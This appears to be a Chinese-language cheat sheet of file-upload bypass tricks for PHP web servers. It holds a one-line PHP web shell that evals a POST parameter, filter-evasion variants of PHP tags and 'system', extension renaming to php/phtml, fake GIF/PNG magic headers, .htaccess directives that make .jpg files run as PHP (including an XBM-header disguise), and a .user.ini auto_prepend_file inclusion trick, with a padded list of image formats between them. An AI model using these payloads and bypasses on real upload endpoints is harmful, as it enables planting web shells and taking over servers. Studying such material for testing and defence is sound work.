文件上传绕过trick:
1:常见的php标签绕过:
<?=短标签绕过
<script language='php'>...</script>
2:命令执行函数绕过:
('sys'.'tem')
一句话:
<?php @eval($_POST['attack']);?>
改文件格式绕过:
image标签:
通用图像格式:
.jpg / .jpeg:联合图像专家组格式,广泛用于照片,采用有损压缩。
.png:便携式网络图形格式,支持透明背景和无损压缩。
.gif:图形交换格式,支持动画和透明,但颜色深度有限(最多256色)。
.bmp:位图图像文件,未压缩,文件较大,常用于Windows系统。
.tiff / .tif:标签图像文件格式,常用于专业图像处理,支持无损压缩。
.webp:由 Google 开发,支持有损和无损压缩,以及透明和动画,用于网页优化。
其他/专业图像格式:
.svg:可缩放矢量图形,基于 XML,适用于图标和矢量图形。
.ico:Windows 图标文件格式,常用于网站 favicon 或程序图标。
.raw:相机原始图像格式(如 .cr2、.nef、.arw 等),保留传感器原始数据,需专用软件处理。
.heic / .heif:高效图像格式,用于 iOS 系统,压缩效率优于 JPEG。
.psd:Adobe Photoshop 原生格式,支持图层和编辑信息。
.ai:Adobe Illustrator 矢量图形格式。
.eps:Encapsulated PostScript,常用于印刷和矢量图形。
较少见但存在的格式:
.jp2 / .jpx:JPEG 2000 格式,提供更高效的压缩。
.pcx:较老的位图格式,曾经在 DOS 时代流行。
.pnm / .ppm / .pgm / .pbm:便携式任意/像素/灰度/位图格式,常用于图像处理研究。
绕过前端验证后将后缀改为php或phtml
文件幻术头绕过对文件内容的检测:
.PNG....
GIF87a
GIF89a
.htaccess配置文件:
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。需要注意,.htaccess文件的作用域为其所在目录与其所有的子目录,若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。
AddHandler php5-script .jpg
AddType application/x-httpd-php .jpg
Sethandler application/x-httpd-php
//Sethandler 将该目录及子目录的所有文件均映射为php文件类型。
//Addhandler 使用 php5-script 处理器来解析所匹配到的文件。
//AddType 将特定扩展名文件映射为php文件类型。
php_value auto_prepend_file "/home/fdipzone/header.php"
php_value auto_append_file "/home/fdipzone/footer.php"
//auto_prepend_file 在页面顶部加载文件
//auto_append_file 在页面底部加载文件
利用XBM图片头格式绕过(在hraccess中视为注释)
#define width 1
#define height 1
AddType application/x-httpd-php .jpg
php_flag engine on
.user.ini:
利用 .user.ini 的前提是服务器开启了 CGI 或者 FastCGI,并且上传文件的存储路径下有 index.php 等可执行文件
.user.ini 中有两个配置:auto_prepend_file 和 auto_append_file。这两个配置的意思就是:我们指定一个文件(如 1.jpg),那么该文件就会被包含在要执行的 PHP 文件中(如 index.php),相当于在 index.php 中插入一句:require(./1.jpg);。这两个设置的区别只是在于 auto_prepend_file 是在文件前插入,auto_append_file 在文件最后插入。
auto_prepend_file="a.jpg"
auto_append_file="a.jpg"